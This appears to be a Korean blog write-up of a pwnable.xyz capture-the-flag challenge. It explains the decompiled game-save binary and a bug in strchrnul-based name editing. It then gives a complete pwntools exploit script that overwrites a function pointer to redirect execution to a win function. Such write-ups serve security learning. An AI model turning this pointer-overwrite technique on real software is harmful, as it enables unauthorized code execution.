1. 문제
1) mitigation 확인
카나리와 NX가 걸려있다.
2) 문제 확인
처음에 이름을 입력받고 메뉴가 나온다. 1번 메뉴로 게임을 실행할 수 있으며, 2번 메뉴로 게임을 저장, 3번으로 삭제, 4번으로 입력한 이름, 마지막으로 5번으로 이름의 한바이트를 변경 가능하다
3) 코드 확인
int __cdecl main(int argc, const char **argv, const char **envp)
{
setup();
initialize_game();
printf("Name: ", argv);
read(0, cur, 0x7FuLL);
while ( 1 )
{
print_menu();
switch ( (unsigned __int64)(unsigned int)read_int32() )
{
case 0uLL:
return 0;
case 1uLL:
(*((void (**)(void))cur + 17))();
break;
case 2uLL:
save_game();
break;
case 3uLL:
delete_save();
break;
case 4uLL:
printf("Save name: %s\n", cur);
break;
case 5uLL:
edit_char();
break;
default:
puts("Invalid");
break;
}
}
}
초기에 initialize_game() 함수를 호출한다. 이 함수부터 살펴보자
- initialize_game() 함수
char *initialize_game() { char *result; // rax cur = (char *)malloc(0x90uLL); *((_QWORD *)cur + 16) = malloc(0x90uLL); *((_QWORD *)cur + 17) = calc; result = cur; saves[0] = (__int64)cur; return result; }
고정 크기인 0x90으로 malloc을 두번한다. cur이라는 전역변수에 할당받은 주소를 넣고, 그다음
cur에 담겨져 있는 청크 주소 +16*8의 위치에 한번더 할당받은 청크 주소를 넣는다. 그다음 처음 할당받은 청크주소 + 17*8위치에 calc 이라는 함수포인터를 넣는다.
결론적으로
initialize_game
함수가 호출되고, 이름을 초기입력하게 되면 위 그림처럼 힙 구조가 잡히게 된다. 그리고 마지막으로 cur에 저장된 주소를 save 전역변수배열의 첫번째 인덱스에 저장한다.
- save_game() 함수
int save_game() { __int64 v0; // rbx __int64 v1; // rdx __int64 v2; // rax int i; // [rsp+Ch] [rbp-14h] for ( i = 1; ; ++i ) { if ( i > 9 ) { LODWORD(v2) = puts("No space."); return v2; } if ( !saves[i] ) break; } saves[i] = (__int64)malloc(0x90uLL); v0 = saves[i]; *(_QWORD *)(v0 + 128) = malloc(0x90uLL); if ( !*(_QWORD *)(saves[i] + 0x88) ) *(_QWORD *)(saves[i] + 0x88) = *((_QWORD *)cur + 17); printf("Save name: "); read(0, (void *)saves[i], 0x80uLL); v1 = i; v2 = saves[v1]; cur = (char *)saves[v1]; return v2; }
현재 saves 배열에는 0인덱스에 하나의 게임이 들어가 있다. 해당 함수가 호출되면 다음 인덱스 saves[1]에 malloc(0x90)을 한 주소를 넣게 되고, 아까와 똑같이 할당받은 힙 주소+128(0x80)에 한번더 할당받은 주소를 넣고, 그다음 +0x88에는 calc 함수포인터를 저장한다. 그리고 첫번째 할당받은 청크에 이름을 입력한다. 그런다음 마지막으로 cur 포인터에 현재 saves 배열의 최근 값을 넣는다.
- edit_char() 함수
int edit_char() { int result; // eax unsigned __int8 v1; // [rsp+6h] [rbp-Ah] char v2; // [rsp+7h] [rbp-9h] puts("Edit a character from your name."); printf("Char to replace: "); v1 = getchar(); getchar(); printf("New char: "); v2 = getchar(); result = getchar(); if ( v1 && v2 ) { result = (unsigned __int64)strchrnul(cur, v1); if ( result ) *(_BYTE *)result = v2; else result = puts("Character not found."); } return result; }
해당 함수에는 현재 cur 포인터가 가리키는 이름에서 한바이트를 변경할수 있는 기능이 존재한다.
strchrnul
함수가 이에 해당하는 역할을 한다. v1에 문자를 입력받고, 현재 이름이 담긴 문자열에서 해당 문자를 검색하여 존재하면 해당 문자의 위치 값 즉, 해당 문자를 가리키는 주소를 반환한다.만약 존재하지 않다면, 문자열의 끝인 널바이트를 가리키는 주소를 반환한다. 따라서 result에는 NULL 값이 들어갈 수가 없고, else문으로 빠지는 일은 없다. 결론적으로
요렇게 찾는 문자가 없으면 문자열의 끝인 널바이트의 주소를 리턴하고 result에 v2 값을 넣게 되므로, 널바이트를 없앨 수 있다.
2. 접근방법
이정도면 문제풀이는 끝이다. 사실 UAF 문제라고 해서 heap 구조를 존나 봤는데, 이상하게 free를 해도, fd, bk 영역에 아레나 주소가 들어가지 않고, 그대로 데이터들이 들어있었다.
내 컴퓨터가 이상한건가 했는데, 어찌됬던 1번 메뉴를 입력했을때, 첫번째 청크의 마지막에 들어있는 calc 함수포인터가 실행되는 부분을 조지면 된다. strchrnul
함수를 이용하여
요렇게 바꾸면 된다. B청크 mem 주소는 0x603200 요론식으로 3바이트를 사용하고 나머지 5바이트는 널이다. 따라서 현재 이름에 없는 문자를 검색하게 되면, 0x0000000000603200 요 빨간 바이트에 v2의 문자가 들어간다. edit 함수를 5번 호출하여 왼쪽 5바이트 널값을 채우고, 그다음 calc 함수포인터 하위 2바이트를 win 함수 하위 2바이트로 변경하면 끝이다.
3. 풀이
최종익스코드는 다음과 같다
from pwn import *
#context(log_level="DEBUG")
p=remote("svc.pwnable.xyz",30015)
#p=process("./challenge")
#gdb.attach(p,'code\nb *0x241+$code\n')
p.sendlineafter("Name: ","A")
def save(name):
p.sendlineafter("> ",str(2))
p.sendafter("Save name: ",str(name))
def edit(old,new):
p.sendlineafter("> ",str(5))
p.sendlineafter("replace: ",str(old))
p.sendlineafter("char: ",str(new))
save("A"*0x80)
for i in range(0,5):
edit("r","b")
edit("\x6b","\xf3")
edit("\x0d",'\x0c')
#pause()
p.sendlineafter("> ",str(1))
p.interactive()
4. 몰랐던 개념
- 낚였다
'워게임 > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] rwsr (0) | 2020.05.06 |
---|---|
[pwnable.xyz] message (0) | 2020.05.05 |
[pwnable.xyz] fclose (0) | 2020.05.01 |
[pwnable.xyz] TLSv00 (0) | 2020.04.11 |
[pwnable.xyz] SUS (0) | 2020.04.11 |